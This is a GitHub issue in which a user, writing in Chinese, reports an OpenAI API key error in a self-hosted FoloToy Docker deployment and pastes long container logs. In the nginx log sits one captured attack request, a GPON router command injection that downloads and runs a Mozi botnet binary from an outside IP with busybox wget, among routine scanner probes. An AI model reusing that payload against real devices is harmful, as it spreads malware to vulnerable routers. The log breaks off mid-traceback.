FoloToy / folotoy-server-self-hosting

Config files for self-hosting the FoloToy Server. Documents: https://docs.folotoy.com
https://tool.folotoy.com
GNU General Public License v3.0
457 stars 85 forks source link

环境报OPENAI_API_KEY=<API-KEY>配置有误,请帮忙查一下原因。 #57

Closed wscskyai closed 11 months ago

wscskyai commented 11 months ago

事情是这样子的,我临时配置了一台服务器,一切都调通可以正常运行,系统是CentOS 7.8。然后我要配置到正式服务器,系统也是一样CentOS 7.8,安装好环境,项目的配置文件也一样,就只换了配置里的服务器IP地址,发现运行就不正常了。报OPENAI的问题。以下是我的信息。 以下是我的环境信息:

image

以下是我的folotoy的配置信息: version: '3' services: emqx: image: emqx/emqx:latest restart: always ports:

以下是日志信息: docker-compose logs -f Attaching to folotoy_folotoy_1, folotoy_emqx_1, folotoy_nginx_1 emqx_1 | WARNING: Default (insecure) Erlang cookie is in use. emqx_1 | WARNING: Configure node.cookie in /opt/emqx/etc/emqx.conf or override from environment variable EMQX_NODECOOKIE emqx_1 | WARNING: NOTE: Use the same cookie for all nodes in the cluster. emqx_1 | EMQX_RPCPORT_DISCOVERY [rpc.port_discovery]: manual emqx_1 | EMQX_NODENAME [node.name]: emqx@172.24.0.2 emqx_1 | Listener ssl:default on 0.0.0.0:8883 started. emqx_1 | Listener tcp:default on 0.0.0.0:1883 started. emqx_1 | Listener ws:default on 0.0.0.0:8083 started. emqx_1 | Listener wss:default on 0.0.0.0:8084 started. emqx_1 | Listener http:dashboard on :18083 started. emqx_1 | EMQX 5.3.0 is running now! emqx_1 | 2023-11-03T09:46:29.952449+00:00 [warning] msg: unexpected_api_access, mfa: emqx_1 | 2023-11-03T22:49:27.482619+00:00 [warning] msg: authorization_permission_denied, mfa: emqx_authz:authorize_non_superuser/5(420), peername: 162.142.125.223:35036, clientid: CENSYS, topic: #, ipaddr: {162,142,125,223}, source: file, username: undefined emqx_1 | 2023-11-03T23:06:29.270586+00:00 [warning] msg: authorization_permission_denied, mfa: emqx_authz:authorize_non_superuser/5(420), peername: 106.3.146.196:43827, clientid: test, topic: $SYS/#, ipaddr: {106,3,146,196}, source: file, username: undefined emqx_1 | 2023-11-03T23:06:29.270887+00:00 [warning] msg: authorization_permission_denied, mfa: emqx_authz:authorize_non_superuser/5(420), peername: 106.3.146.196:43827, clientid: test, topic: #, ipaddr: {106,3,146,196}, source: file, username: undefined emqx_1 | 2023-11-04T04:41:49.387438+00:00 [warning] msg: authorization_permission_denied, mfa: emqx_authz:authorize_non_superuser/5(420), peername: 183.136.225.42:6186, clientid: nmapNSJKJLFQRGOLJUAE, topic: $SYS/#, ipaddr: {183,136,225,42}, source: file, username: undefined emqx_1 | 2023-11-04T04:41:49.387819+00:00 [warning] msg: authorization_permission_denied, mfa: emqx_authz:authorize_non_superuser/5(420), peername: 183.136.225.42:6186, clientid: nmapNSJKJLFQRGOLJUAE, topic: #, ipaddr: {183,136,225,42}, source: file, username: undefined emqx_1 | 2023-11-04T13:57:02.402674+00:00 [warning] msg: authorization_permission_denied, mfa: emqx_authz:authorize_non_superuser/5(420), peername: 183.136.225.31:15089, clientid: nmapNSJKJLFQRGOLJUAE, topic: $SYS/#, ipaddr: {183,136,225,31}, source: file, username: undefined emqx_1 | 2023-11-04T13:57:02.402977+00:00 [warning] msg: authorization_permission_denied, mfa: emqx_authz:authorize_non_superuser/5(420), peername: 183.136.225.31:15089, clientid: nmapNSJKJLFQRGOLJUAE, topic: #, ipaddr: {183,136,225,31}, source: file, username: undefined emqx_1 | 2023-11-04T17:02:56.415118+00:00 [warning] msg: unexpected_api_access, mfa: emqx_dashboard_not_found:init/2(25), request: #{bindings => #{},body_length => 0,cert => undefined,has_body => false,headers => #{},host => <<>>,host_info => undefined,method => <<"GET">>,path => <<"/home.htm">>,path_info => undefined,peer => {{47,94,10,182},60408},pid => <0.29457.0>,port => 80,qs => <<>>,ref => 'http:dashboard',scheme => <<"http">>,sock => {{172,24,0,2},18083},streamid => 1,version => 'HTTP/1.0'} emqx_1 | 2023-11-04T17:03:01.525458+00:00 [warning] msg: unexpected_api_access, mfa: emqx_dashboard_not_found:init/2(25), request: #{bindings => #{},body_length => 0,cert => undefined,has_body => false,headers => #{},host => <<>>,host_info => undefined,method => <<"GET">>,path => <<"/system/login.em">>,path_info => undefined,peer => {{47,94,10,182},60414},pid => <0.29463.0>,port => 80,qs => <<>>,ref => 'http:dashboard',scheme => <<"http">>,sock => {{172,24,0,2},18083},streamid => 1,version => 'HTTP/1.0'} emqx_1 | 2023-11-04T17:03:03.332425+00:00 [warning] msg: unexpected_api_access, mfa: emqx_dashboard_not_found:init/2(25), request: #{bindings => #{},body_length => 0,cert => undefined,has_body => false,headers => #{},host => <<>>,host_info => undefined,method => <<"GET">>,path => <<"/home.htm">>,path_info => undefined,peer => {{101,200,34,84},15407},pid => <0.29475.0>,port => 80,qs => <<>>,ref => 'http:dashboard',scheme => <<"http">>,sock => {{172,24,0,2},18083},streamid => 1,version => 'HTTP/1.0'} emqx_1 | 2023-11-04T17:03:03.555677+00:00 [warning] msg: unexpected_api_access, mfa: emqx_dashboard_not_found:init/2(25), request: #{bindings => #{},body_length => 0,cert => undefined,has_body => false,headers => #{},host => <<>>,host_info => undefined,method => <<"GET">>,path => <<"/home.htm">>,path_info => undefined,peer => {{123,56,12,16},58886},pid => <0.29480.0>,port => 80,qs => <<>>,ref => 'http:dashboard',scheme => <<"http">>,sock => {{172,24,0,2},18083},streamid => 1,version => 'HTTP/1.0'} emqx_1 | 2023-11-04T17:03:08.448080+00:00 [warning] msg: unexpected_api_access, mfa: emqx_dashboard_not_found:init/2(25), request: #{bindings => #{},body_length => 0,cert => undefined,has_body => false,headers => #{},host => <<>>,host_info => undefined,method => <<"GET">>,path => <<"/system/login.em">>,path_info => undefined,peer => {{123,56,19,24},8680},pid => <0.29490.0>,port => 80,qs => <<>>,ref => 'http:dashboard',scheme => <<"http">>,sock => {{172,24,0,2},18083},streamid => 1,version => 'HTTP/1.0'} emqx_1 | 2023-11-04T17:03:08.677238+00:00 [warning] msg: unexpected_api_access, mfa: emqx_dashboard_not_found:init/2(25), request: #{bindings => #{},body_length => 0,cert => undefined,has_body => false,headers => #{},host => <<>>,host_info => undefined,method => <<"GET">>,path => <<"/system/login.em">>,path_info => undefined,peer => {{47,93,188,67},22346},pid => <0.29493.0>,port => 80,qs => <<>>,ref => 'http:dashboard',scheme => <<"http">>,sock => {{172,24,0,2},18083},streamid => 1,version => 'HTTP/1.0'} emqx_1 | 2023-11-04T22:10:12.909576+00:00 [warning] msg: authorization_permission_denied, mfa: emqx_authz:authorize_non_superuser/5(420), peername: 167.248.133.39:45348, clientid: CENSYS, topic: #, ipaddr: {167,248,133,39}, source: file, username: undefined emqx_1 | WARNING: Default (insecure) Erlang cookie is in use. emqx_1 | WARNING: Configure node.cookie in /opt/emqx/etc/emqx.conf or override from environment variable EMQX_NODE__COOKIE emqx_1 | WARNING: NOTE: Use the same cookie for all nodes in the cluster. emqx_1 | EMQX_RPCPORT_DISCOVERY [rpc.port_discovery]: manual emqx_1 | EMQX_NODENAME [node.name]: emqx@172.24.0.3 emqx_1 | Listener ssl:default on 0.0.0.0:8883 started. emqx_1 | Listener tcp:default on 0.0.0.0:1883 started. emqx_1 | Listener ws:default on 0.0.0.0:8083 started. emqx_1 | Listener wss:default on 0.0.0.0:8084 started. emqx_1 | Listener http:dashboard on :18083 started. emqx_1 | EMQX 5.3.0 is running now! emqx_1 | WARNING: Default (insecure) Erlang cookie is in use. emqx_1 | WARNING: Configure node.cookie in /opt/emqx/etc/emqx.conf or override from environment variable EMQX_NODE__COOKIE emqx_1 | WARNING: NOTE: Use the same cookie for all nodes in the cluster. emqx_1 | EMQX_RPCPORT_DISCOVERY [rpc.port_discovery]: manual emqx_1 | EMQX_NODENAME [node.name]: emqx@172.24.0.2 emqx_1 | Listener ssl:default on 0.0.0.0:8883 started. emqx_1 | Listener tcp:default on 0.0.0.0:1883 started. emqx_1 | Listener ws:default on 0.0.0.0:8083 started. emqx_1 | Listener wss:default on 0.0.0.0:8084 started. emqx_1 | Listener http:dashboard on :18083 started. emqx_1 | EMQX 5.3.0 is running now! emqx_1 | WARNING: Default (insecure) Erlang cookie is in use. emqx_1 | WARNING: Configure node.cookie in /opt/emqx/etc/emqx.conf or override from environment variable EMQX_NODE__COOKIE emqx_1 | WARNING: NOTE: Use the same cookie for all nodes in the cluster. emqx_1 | EMQX_RPCPORT_DISCOVERY [rpc.port_discovery]: manual emqx_1 | EMQX_NODENAME [node.name]: emqx@172.24.0.3 emqx_1 | Listener ssl:default on 0.0.0.0:8883 started. emqx_1 | Listener tcp:default on 0.0.0.0:1883 started. emqx_1 | Listener ws:default on 0.0.0.0:8083 started. emqx_1 | Listener wss:default on 0.0.0.0:8084 started. emqx_1 | Listener http:dashboard on :18083 started. emqx_1 | EMQX 5.3.0 is running now! folotoy_1 | 2023-11-03 08:36:55,628 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-03 08:36:55,631 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-03 08:36:57,632 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-03 08:36:57,633 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-03 08:36:59,634 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-03 08:36:59,635 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-03 08:37:01,642 - INFO - Speech server started(0.0.0.0:8085/udp) folotoy_1 | 2023-11-03 08:37:01,642 - INFO - Connected to MQTT Broker(emqx:1883)! folotoy_1 | 2023-11-03 08:38:27,592 - ERROR - Record error: Traceback (most recent call last): folotoy_1 | File "core/speech_server.py", line 194, in core.speech_server.SpeechServer.write_wav folotoy_1 | File "sdk/stt.py", line 21, in sdk.stt.SttSdk.transcribe folotoy_1 | File "sdk/stt.py", line 22, in sdk.stt.SttSdk.transcribe folotoy_1 | File "sdk/stt.py", line 43, in sdk.stt.SttSdk.openai_whisper folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_resources/audio.py", line 55, in transcribe folotoy_1 | requestor, files, data = cls._prepare_request( folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_resources/audio.py", line 28, in _prepare_request folotoy_1 | requestor = api_requestor.APIRequestor( folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_requestor.py", line 138, in init__ folotoy_1 | self.api_key = key or util.default_api_key() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/util.py", line 186, in default_api_key folotoy_1 | raise openai.error.AuthenticationError( folotoy_1 | openai.error.AuthenticationError: No API key provided. You can set your API key in code using 'openai.api_key = ', or you can set the environment variable OPENAI_API_KEY=). If your API key is stored in a file, you can point the openai module at it with 'openai.api_key_path = '. You can generate API keys in the OpenAI web interface. See https://platform.openai.com/account/api-keys for details. folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/speech_server.py", line 194, in core.speech_server.SpeechServer.write_wav folotoy_1 | File "sdk/stt.py", line 21, in sdk.stt.SttSdk.transcribe folotoy_1 | File "sdk/stt.py", line 22, in sdk.stt.SttSdk.transcribe folotoy_1 | File "sdk/stt.py", line 43, in sdk.stt.SttSdk.openai_whisper folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_resources/audio.py", line 55, in transcribe folotoy_1 | requestor, files, data = cls._prepare_request( folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_resources/audio.py", line 28, in _prepare_request folotoy_1 | requestor = api_requestor.APIRequestor( folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/api_requestor.py", line 138, in init folotoy_1 | self.api_key = key or util.default_api_key() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/openai/util.py", line 186, in default_api_key folotoy_1 | raise openai.error.AuthenticationError( folotoy_1 | openai.error.AuthenticationError: No API key provided. You can set your API key in code using 'openai.api_key = ', or you can set the environment variable OPENAI_API_KEY=). If your API key is stored in a file, you can point the openai module at it with 'openai.api_key_path = '. You can generate API keys in the OpenAI web interface. See https://platform.openai.com/account/api-keys for details. folotoy_1 | 2023-11-05 02:38:06,444 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): nginx_1 | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration nginx_1 | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh nginx_1 | 10-listen-on-ipv6-by-default.sh: info: Getting the checksum of /etc/nginx/conf.d/default.conf nginx_1 | 10-listen-on-ipv6-by-default.sh: info: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf nginx_1 | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh nginx_1 | /docker-entrypoint.sh: Configuration complete; ready for start up nginx_1 | 2023/11/03 08:36:54 [notice] 1#1: using the "epoll" event method nginx_1 | 2023/11/03 08:36:54 [notice] 1#1: nginx/1.25.3 nginx_1 | 2023/11/03 08:36:54 [notice] 1#1: built by gcc 12.2.0 (Debian 12.2.0-14) nginx_1 | 2023/11/03 08:36:54 [notice] 1#1: OS: Linux 3.10.0-1160.95.1.el7.x86_64 nginx_1 | 2023/11/03 08:36:54 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576 nginx_1 | 2023/11/03 08:36:54 [notice] 1#1: start worker processes nginx_1 | 2023/11/03 08:36:54 [notice] 1#1: start worker process 29 nginx_1 | 2023/11/03 08:36:54 [notice] 1#1: start worker process 30 nginx_1 | 2023/11/03 08:40:55 [error] 29#29: *1 directory index of "/usr/share/nginx/html/" is forbidden, client: 47.92.31.143, server: localhost, request: "GET http://***:8082/ HTTP/1.1", host: "*:8082" nginx_1 | 47.92.31.143 - - [03/Nov/2023:08:40:55 +0000] "GET http://**:8082/ HTTP/1.1" 403 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" "-" nginx_1 | 2023/11/03 08:47:10 [error] 30#30: 2 directory index of "/usr/share/nginx/html/" is forbidden, client: 47.92.33.185, server: localhost, request: "GET http://139...139:8082/ HTTP/1.1", host: "139...139:8082" nginx_1 | 47.92.33.185 - - [03/Nov/2023:08:47:10 +0000] "GET http://139...139:8082/ HTTP/1.1" 403 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" "-" nginx_1 | 167.94.145.58 - - [03/Nov/2023:11:19:08 +0000] "GET / HTTP/1.1" 403 153 "-" "-" "-" nginx_1 | 2023/11/03 11:19:08 [error] 29#29: 4 directory index of "/usr/share/nginx/html/" is forbidden, client: 167.94.145.58, server: localhost, request: "GET / HTTP/1.1", host: "139...139:8082" nginx_1 | 2023/11/03 11:19:09 [error] 29#29: 5 directory index of "/usr/share/nginx/html/" is forbidden, client: 167.94.145.58, server: localhost, request: "GET / HTTP/1.1", host: "139...139:8082" nginx_1 | 167.94.145.58 - - [03/Nov/2023:11:19:09 +0000] "GET / HTTP/1.1" 403 153 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-" nginx_1 | 167.94.145.58 - - [03/Nov/2023:11:19:10 +0000] "PRI HTTP/2.0" 400 157 "-" "-" "-" nginx_1 | 183.136.225.42 - - [03/Nov/2023:13:46:18 +0000] "GET / HTTP/1.1" 403 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0" "-" nginx_1 | 2023/11/03 13:46:18 [error] 29#29: 7 directory index of "/usr/share/nginx/html/" is forbidden, client: 183.136.225.42, server: localhost, request: "GET / HTTP/1.1", host: "139...139:8082" nginx_1 | 223.111.175.105 - - [03/Nov/2023:14:57:16 +0000] "GET / HTTP/1.1" 403 153 "-" "curl/7.29.0" "-" nginx_1 | 2023/11/03 14:57:16 [error] 29#29: 9 directory index of "/usr/share/nginx/html/" is forbidden, client: 223.111.175.105, server: localhost, request: "GET / HTTP/1.1", host: "139...139" nginx_1 | 223.111.175.105 - - [03/Nov/2023:14:57:17 +0000] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03}\xB1\xA0\xA0\xCA\xC0" 400 157 "-" "-" "-" nginx_1 | 223.111.175.105 - - [03/Nov/2023:14:57:17 +0000] "t3 12.1.2" 400 157 "-" "-" "-" nginx_1 | 141.98.11.52 - - [03/Nov/2023:15:32:51 +0000] "GET / HTTP/1.1" 403 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-" nginx_1 | 2023/11/03 15:32:51 [error] 29#29: 12 directory index of "/usr/share/nginx/html/" is forbidden, client: 141.98.11.52, server: localhost, request: "GET / HTTP/1.1", host: "139...139" nginx_1 | 92.63.196.167 - - [03/Nov/2023:15:44:30 +0000] "\x03\x00\x00\x13\x0E\xE0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x02\x00\x00\x00" 400 157 "-" "-" "-" nginx_1 | 2023/11/03 15:48:01 [error] 29#29: 14 directory index of "/usr/share/nginx/html/" is forbidden, client: 141.98.11.60, server: localhost, request: "GET / HTTP/1.1", host: "139...139" nginx_1 | 141.98.11.60 - - [03/Nov/2023:15:48:01 +0000] "GET / HTTP/1.1" 403 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-" nginx_1 | 2023/11/03 17:35:28 [error] 29#29: 15 open() "/usr/share/nginx/html/GponForm/diag_Form" failed (2: No such file or directory), client: 118.43.162.5, server: localhost, request: "POST /GponForm/diag_Form?images/ HTTP/1.1", host: "139...139:8082" nginx_1 | 118.43.162.5 - - [03/Nov/2023:17:35:28 +0000] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" "-" nginx_1 | 118.43.162.5 - - [03/Nov/2023:17:35:28 +0000] "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=busybox+wget+http://155.138.142.194:49934/cutie+-0+/tmp/Mozi.d;sh+/tmp/Mozi.d&ipv=0" 400 157 "-" "-" "-" nginx_1 | 185.36.81.33 - - [03/Nov/2023:19:27:58 +0000] "GET / HTTP/1.1" 403 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-" nginx_1 | 2023/11/03 19:27:58 [error] 29#29: 17 directory index of "/usr/share/nginx/html/" is forbidden, client: 185.36.81.33, server: localhost, request: "GET / HTTP/1.1", host: "139..139" nginx_1 | 198.235.24.8 - - [03/Nov/2023:19:36:02 +0000] "\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03\x83\xE0\xB2\x03\xFAH\xF9\xD6\xD4\xD2G\x8D\x8D\xEEg\xBA\x06\xCE\xC0\xD9\x02\xD7\xED\x7F\xC5\x07\x99\x1B\x98|\xFDQ\x00\x00h\xCC\x14\xCC\x13\xC0/\xC0+\xC00\xC0,\xC0\x11\xC0\x07\xC0'\xC0#\xC0\x13\xC0\x09\xC0(\xC0$\xC0\x14\xC0" 400 157 "-" "-" "-" nginx_1 | 198.235.24.8 - - [03/Nov/2023:19:36:02 +0000] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xB66,\xAE\x86\x92\x88\x8D\xE5+<\xBA=^" 400 157 "-" "-" "-" nginx_1 | 167.94.146.55 - - [03/Nov/2023:21:42:46 +0000] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xDF\xCF^\xB6l\xB9\x1C%6\x00u\xE7\x13\xACO\xAE\x84K\x09\x9F\xEB\xA6\xBC{\xC0<a\xC9\xF8\x8D\xC2\xA9 \xEE\xAC\xB31\xF4q\xA8\xD6\x18D\xFEr<\x99\x89\xF5k\xB0\x1B(\xEB\xCA\xB0,^\x9ANb\xC2c\x98\x0C\x00&\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0" 400 157 "-" "-" "-" nginx_1 | 167.94.146.55 - - [03/Nov/2023:21:42:47 +0000] "GET / HTTP/1.1" 403 153 "-" "-" "-" nginx_1 | 2023/11/03 21:42:47 [error] 30#30: 22 directory index of "/usr/share/nginx/html/" is forbidden, client: 167.94.146.55, server: localhost, request: "GET / HTTP/1.1", host: "139...139:8082" nginx_1 | 167.94.146.55 - - [03/Nov/2023:21:42:47 +0000] "GET / HTTP/1.1" 403 153 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-" nginx_1 | 2023/11/03 21:42:47 [error] 30#30: 23 directory index of "/usr/share/nginx/html/" is forbidden, client: 167.94.146.55, server: localhost, request: "GET / HTTP/1.1", host: "139...139:8082" folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-05 02:38:06,447 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-05 02:38:08,449 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-05 02:38:08,450 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-05 02:38:10,451 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/folotoy_app.py", line 159, in core.folotoy_app.FolotoyApp.start folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 914, in connect folotoy_1 | return self.reconnect() folotoy_1 | ^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 1044, in reconnect folotoy_1 | sock = self._create_socket_connection() folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection folotoy_1 | return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source) folotoy_1 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 851, in create_connection folotoy_1 | raise exceptions[0] folotoy_1 | File "/usr/local/lib/python3.11/socket.py", line 836, in create_connection folotoy_1 | sock.connect(sa) folotoy_1 | ConnectionRefusedError: [Errno 111] Connection refused folotoy_1 | 2023-11-05 02:38:10,452 - INFO - Sleep 2s to reconnect folotoy_1 | 2023-11-05 02:38:12,457 - INFO - Speech server started(0.0.0.0:8085/udp) folotoy_1 | 2023-11-05 02:38:12,460 - INFO - Connected to MQTT Broker(emqx:1883)! folotoy_1 | 2023-11-05 02:40:47,715 - ERROR - Run error: [Errno 111] Connection refused folotoy_1 | Traceback (most recent call last): folotoy_1 | File "core/folotoy_app.py", line 159, in 